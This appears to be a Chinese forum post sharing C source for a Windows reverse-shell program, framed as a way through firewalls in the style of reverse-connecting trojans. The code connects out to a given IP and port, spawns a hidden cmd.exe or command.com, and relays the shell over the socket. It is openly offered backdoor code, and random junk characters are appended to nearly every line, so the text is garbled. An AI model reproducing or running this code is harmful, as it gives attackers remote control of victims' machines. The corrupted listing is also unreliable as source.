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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t K+K lz  
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/* ============================== ^gpswhp 5  
Rebound port in Windows NT *MFsq}\ $  
By wind,2006/7 T 6g(,xPcL  
===============================*/ O67.DEu^  
#include vUXas*s4  
#include <e 'S'  
j7|r^  
#pragma comment(lib,"wsock32.lib") ;nbUbRb  
yF}l.>7D  
void OutputShell(); |-c)OS3#D  
SOCKET sClient; SDTX3A1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6R+m;'  
):lq}6J#  
void main(int argc,char **argv) *hp3w  
{ 8N|y   
WSADATA stWsaData; O)qedy*&  
int nRet; N!}r(Dd*  
SOCKADDR_IN stSaiClient,stSaiServer; 0b0.xz\~U  
(@H'7,  
if(argc != 3) U[b $VZ}  
{ 'W/E*O6BY  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1} {bHj  
return; n)(E 0h  
} ZCZYgf@  
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WSAStartup(MAKEWORD(2,2),&stWsaData); U!L<v!$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )/u?_)b4"  
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stSaiClient.sin_family = AF_INET; S"iz fQ@  
stSaiClient.sin_port = htons(0); z (,%<oX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fD#VI   
n"'1.  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h[SuuW  
{ g_\U-pzr  
printf("Bind Socket Failed!\n"); iD)R*vnAi  
return; 821@qr|`e  
}  opK=Z  
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stSaiServer.sin_family = AF_INET; <6=kwV6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z?H#=|U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,ufB*[~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _ 13M  
{ URbu=U  
printf("Connect Error!"); DS,"^K  
return; }5Yd:%u5  
} v*+.;60_  
OutputShell(); 'OKDB7Ni  
} 5gV%jQgkC  
beyC't  
void OutputShell() Farcd!}  
{ /`YHPeXu  
char szBuff[1024]; #\kYGr-G)  
SECURITY_ATTRIBUTES stSecurityAttributes; %Y"@VcN  
OSVERSIONINFO stOsversionInfo; [:geDk9O#'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tti]H9g_  
STARTUPINFO stStartupInfo; N'nI ^=  
char *szShell; ] Ma2*E !p  
PROCESS_INFORMATION stProcessInformation; $*ujX,}xG  
unsigned long lBytesRead; zT[[WY4  
] 8sVXZ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ij_Y+Mnl4:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k\UDZ)TQV  
stSecurityAttributes.lpSecurityDescriptor = 0; >y%*HC!G  
stSecurityAttributes.bInheritHandle = TRUE; S&jZYq**  
H@$\SUc{  
a)'^'jm)4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v%|^\A"V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v%(2l|M  
`}/&}Sp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VY)!bjW.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n22k<@y  
stStartupInfo.wShowWindow = SW_HIDE; KS($S( Fi  
stStartupInfo.hStdInput = hReadPipe; c0v;r4Jo#j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )K2,h5zU  
F0O"rN{  
GetVersionEx(&stOsversionInfo); Qo>V N`v  
+;7Rz_.6f  
switch(stOsversionInfo.dwPlatformId) 4-@D`,3L  
{ Z `FqC  
case 1: m&xyw9a  
szShell = "command.com"; Ti`H?9t  
break; ` V}e$  
default: \'I->O]  
szShell = "cmd.exe"; .80^c  
break; R8a4F^{*  
} ]2kgG*^n"  
l][{ #>V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [U_S u,  
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send(sClient,szMsg,77,0); .,t"i C:E  
while(1) bq5tEn  
{ &DC o;Ij;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Wb:jZ  
if(lBytesRead) T&6W>VQ|[>  
{ PYDf|S7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'ojI_%9<  
send(sClient,szBuff,lBytesRead,0); KD9Y  
} ~C6Qp`VF  
else ]K'iCYY  
{ "f|\":\  
lBytesRead=recv(sClient,szBuff,1024,0); ~GJJ{Bm_  
if(lBytesRead<=0) break; GQXN1R   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f.ku v"  
} FCv3ZF?K  
} sr!m   
*6%!i7kr  
return; `RUOZ@r  
}
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